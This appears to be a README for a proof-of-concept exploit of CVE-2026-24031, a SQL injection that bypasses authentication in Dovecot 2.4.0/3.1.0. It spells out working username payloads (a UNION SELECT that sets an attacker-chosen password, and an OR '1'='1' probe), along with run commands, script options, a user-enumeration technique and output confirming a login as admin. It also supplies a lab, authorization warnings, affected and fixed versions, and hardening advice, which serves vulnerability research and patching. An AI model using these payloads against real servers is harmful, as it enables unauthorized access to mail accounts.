
Self-contained Python PoC for Dovecot SQL authentication bypass: logs in as any user without the real password and enumerates usernames on vulnerable 2.4.0/3.1.0 IMAP/POP3 servers.
This repository contains a proof-of-concept authentication-bypass exploit for CVE-2026-24031, a SQL injection in Dovecot's SQL-based authentication introduced as a regression in Dovecot 2.4.0 / 3.1.0. In the tested Docker lab (Dovecot 2.4.0 + PostgreSQL), the PoC logs in as any user without knowing their real password, and can also enumerate users.
Warning
This PoC performs an unauthenticated authentication bypass against a mail server. Use it only against a lab you own or against targets you are explicitly authorized to test. It does not modify the server's state, but it will exercise authentication and may leave failed-login entries in logs.
Dovecot SQL-based authentication is vulnerable when the administrator clears
the auth_username_chars configuration directive (sets it to an empty value).
auth_username_chars normally acts as an input filter that restricts which
characters are allowed in a username before the username is interpolated
into the SQL passdb query.
With auth_username_chars = empty, the value is passed through to the query
without sql_escape_string(). A crafted username containing SQL
metacharacters therefore becomes part of the query:
SELECT username AS user, password FROM users
WHERE username = '%{user}' AND active = TRUE
The following payload makes the query return a row for VICTIM with a
password chosen by the attacker:
' UNION SELECT 'VICTIM','{PLAIN}12345' --
{PLAIN} is parsed by Dovecot (not by the database), so the password scheme
is handled natively and the trick works on pgsql, mysql, mariadb and sqlite.
Sending 12345 as the password then matches, yielding LOGIN OK as VICTIM
without knowing the real password.
The resulting query is:
SELECT username AS user, password FROM users
WHERE username = '' UNION SELECT 'VICTIM','{PLAIN}12345' -- ' AND active = TRUE
This is a regression introduced in Dovecot 2.4.0 and also present in 3.1.0. Earlier 2.2.x / 2.3.x releases escape the username and are not vulnerable. The flaw is fixed in 2.4.3 and 3.1.4 (OXDC-ADV-2026-0001, DOV-8781).
The vulnerability only applies when all of these hold:
driver = sql) using pgsql, mysql, mariadb or sqlite;auth_username_chars = (empty) — the trigger condition set by the
administrator;The PoC was validated against Dovecot 2.4.0 (official release tag,
daeb6bc5) + PostgreSQL.
Authenticate with username ' OR '1'='1' -- and an arbitrary password. On a
vulnerable server the query is altered, so Dovecot returns
a1 NO [UNAVAILABLE] Temporary authentication failure. instead of the classic
AUTHENTICATIONFAILED. This is the fingerprint that the username reached the
SQL query unescaped.
Authenticate with username:
' UNION SELECT 'VICTIM','{PLAIN}12345' --
and password 12345. The UNION row overrides the password column for
VICTIM, and {PLAIN} is parsed by Dovecot, so the password check succeeds.
Because the query result shape differs between "user exists" and "user does not exist" (row count and response status), the server leaks whether a username exists. This works against every affected backend.
The PoC is a self-contained Python 3 script (standard library only). Start the vulnerable lab and run the exploit:
./run.sh
run.sh builds and starts the Docker lab (lab/docker-compose.yml), waits
for IMAPS on 127.0.0.1:14193, then runs the PoC. The lab builds Dovecot
2.4.0 from the official release tarball with an intentionally vulnerable
configuration and a PostgreSQL database.
Equivalent manual steps:
docker compose -f lab/docker-compose.yml up -d --build
python3 cve-2026-24031-poc.py 127.0.0.1 14193 0.3 imap
PoC options:
python3 cve-2026-24031-poc.py <HOST> [PORT] [DELAY] [PROTO]
HOST IP or hostname (required)
PORT 993 = IMAPS/TLS (default), 143 = IMAP, 995 = POP3S, 110 = POP3
DELAY seconds between attempts (default 0.5)
PROTO imap (default) | pop3
Optional environment variables:
CVE24031_USER username to impersonate (default: admin)
CVE24031_PASS password chosen for the UNION row (default: 12345)
The lab database seeds these users: admin/admin123, alice/alicepass,
bob/bobpass, postmaster/postpass, and victim/supersecret. The PoC
impersonates admin without knowing its password.
The PoC was validated end-to-end in the Docker lab. The admin user's real
password is admin123; the PoC logs in as admin using 12345.
$ python3 cve-2026-24031-poc.py 127.0.0.1 14193 0.3 imap
[*] Target : 127.0.0.1:14193 (imap, plain)
[*] Victim : admin imposed password: 12345
[*] TARGET CONFIG: Dovecot 2.4.0/3.1.0 + driver=sql + auth_username_chars EMPTY
=== PHASE 1: UNION SELECT (login as victim without real password) ===
[UN ] user="' UNION SELECT 'admin','{PLAIN}12345' -- " pwd='12345' -> OK
============================================================
[!] >>>>>> BYPASS CONFIRMED <<<<<<
[!] Logged in as 'admin' without knowing the real password.
[!] CVE-2026-24031 exploited.
The complete sanitized transcript, including the legitimate-control and
no-escape-detection steps, is in
docs/example-output.txt.
The animated demo at the top of this README (assets/CVE-2026-24031.gif) was
recorded from a real session against the running lab. Regenerate it with:
# with the lab up (docker compose -f lab/docker-compose.yml up -d)
asciinema rec --cols 120 --rows 34 -c "bash demo.sh" demo.cast
agg --font-size 16 --fps-cap 30 --speed 1.2 --theme nord \
--cols 120 --rows 34 demo.cast assets/CVE-2026-24031.gif
demo.sh drives the live demonstration; demo.cast is the raw asciinema
recording used to render the GIF.
The advisory (OXDC-ADV-2026-0001, DOV-8781) is already released upstream;
Dovecot 2.4.3 / 3.1.4 escape the username before interpolating it into the
SQL query. The fix is therefore not duplicated in this repository. The
recommended hardening is to never clear auth_username_chars, or to upgrade
to a fixed release.
Vulnerability discovery: whisperer@yeswehack.
Research and exploit implementation: A. Ramos <[email protected]>
(Twitter: @aramosf).
CVE-2026-24031 Dovecot SQL authentication bypass (authentication bypass + user enumeration) PoC
| Line | Status |
|---|
| Dovecot 2.2.x | Not affected (username is escaped) |
| Dovecot 2.3.x | Not affected (username is escaped) |
| Dovecot 2.4.0 | Vulnerable (regression: username not escaped) |
| Dovecot 2.4.3+ | Fixed (username is escaped) |
| Dovecot 3.1.0 | Vulnerable (same regression) |
| Dovecot 3.1.4+ | Fixed (username is escaped) |